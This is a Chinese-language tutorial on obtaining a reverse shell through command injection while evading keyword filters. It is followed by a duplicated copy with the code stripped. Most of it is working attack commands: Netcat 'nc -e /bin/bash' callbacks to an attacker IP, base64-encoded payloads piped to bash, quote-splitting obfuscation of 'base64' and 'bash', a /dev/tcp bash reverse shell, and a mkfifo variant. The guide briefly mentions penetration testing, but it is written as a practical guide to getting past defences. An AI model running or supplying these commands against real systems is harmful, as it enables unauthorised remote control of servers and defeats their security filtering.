绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程
字数 810 2025-08-29 08:30:18

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整指南

1. 背景与概念

在渗透测试或命令注入攻击中,目标服务器通常会实施关键字过滤机制(如检测ncbash/bin/sh等命令)。为了绕过这些安全检测,我们可以使用Base64编码技术将真实命令隐藏起来,让目标服务器解码后执行。

反弹Shell是一种攻击技术,使目标服务器主动连接到攻击者控制的机器,并提供一个交互式Shell会话。

2. 基础反弹Shell方法(无编码)

攻击者准备监听

在攻击者机器上执行:

nc -nvlp 1234

参数说明:

  • -n:不进行DNS解析,加快连接速度
  • -v:显示详细信息(可选)
  • -lp 1234:监听本地1234端口

目标服务器执行反弹

在目标服务器上执行:

nc -nv 攻击者IP 1234 -e /bin/bash

参数说明:

  • -e /bin/bash:让Netcat将Bash Shell绑定到TCP连接上

3. 绕过关键字过滤的Base64方法

步骤1:本地编码命令

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

示例输出:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

步骤2:目标服务器执行编码命令

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

命令分解:

  1. echo输出Base64编码字符串
  2. base64 -d解码回原始命令
  3. bash执行解码后的命令

4. 高级绕过技术

分块Base64解码

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或使用/bin/sh

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

使用$(...)语法

bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

5. 检测目标服务器Base64支持

echo "dGVzdA==" | base64 -d

如果返回test,说明base64命令可用。

6. 常见问题解决方案

目标服务器没有Netcat(nc)

使用Bash内置TCP功能:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

Base64编码版本:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

连接失败可能原因

  1. 服务器防火墙阻止出站连接
  2. 监听端口被拦截(尝试更换端口)
  3. Netcat版本不支持-e选项

替代方案(使用mkfifo):

mkfifo /tmp/backpipe
/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe

7. 完整流程总结

  1. 攻击者监听

    nc -nvlp 1234
    
  2. 本地编码命令

    echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64
    
  3. 目标服务器执行

    echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h
    
  4. Netcat不可用时的替代方案

    echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash
    

通过以上方法,可以有效绕过常见的关键字过滤机制,成功建立反弹Shell连接。

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整指南 1. 背景与概念 在渗透测试或命令注入攻击中,目标服务器通常会实施关键字过滤机制(如检测 nc 、 bash 、 /bin/sh 等命令)。为了绕过这些安全检测,我们可以使用Base64编码技术将真实命令隐藏起来,让目标服务器解码后执行。 反弹Shell 是一种攻击技术,使目标服务器主动连接到攻击者控制的机器,并提供一个交互式Shell会话。 2. 基础反弹Shell方法(无编码) 攻击者准备监听 在攻击者机器上执行: 参数说明: -n :不进行DNS解析,加快连接速度 -v :显示详细信息(可选) -lp 1234 :监听本地1234端口 目标服务器执行反弹 在目标服务器上执行: 参数说明: -e /bin/bash :让Netcat将Bash Shell绑定到TCP连接上 3. 绕过关键字过滤的Base64方法 步骤1:本地编码命令 示例输出: 步骤2:目标服务器执行编码命令 命令分解: echo 输出Base64编码字符串 base64 -d 解码回原始命令 bash 执行解码后的命令 4. 高级绕过技术 分块Base64解码 或使用 /bin/sh : 使用 $(...) 语法 5. 检测目标服务器Base64支持 如果返回 test ,说明base64命令可用。 6. 常见问题解决方案 目标服务器没有Netcat(nc) 使用Bash内置TCP功能: Base64编码版本: 目标服务器执行: 连接失败可能原因 服务器防火墙阻止出站连接 监听端口被拦截(尝试更换端口) Netcat版本不支持 -e 选项 替代方案(使用mkfifo): 7. 完整流程总结 攻击者监听 : 本地编码命令 : 目标服务器执行 : Netcat不可用时的替代方案 : 通过以上方法,可以有效绕过常见的关键字过滤机制,成功建立反弹Shell连接。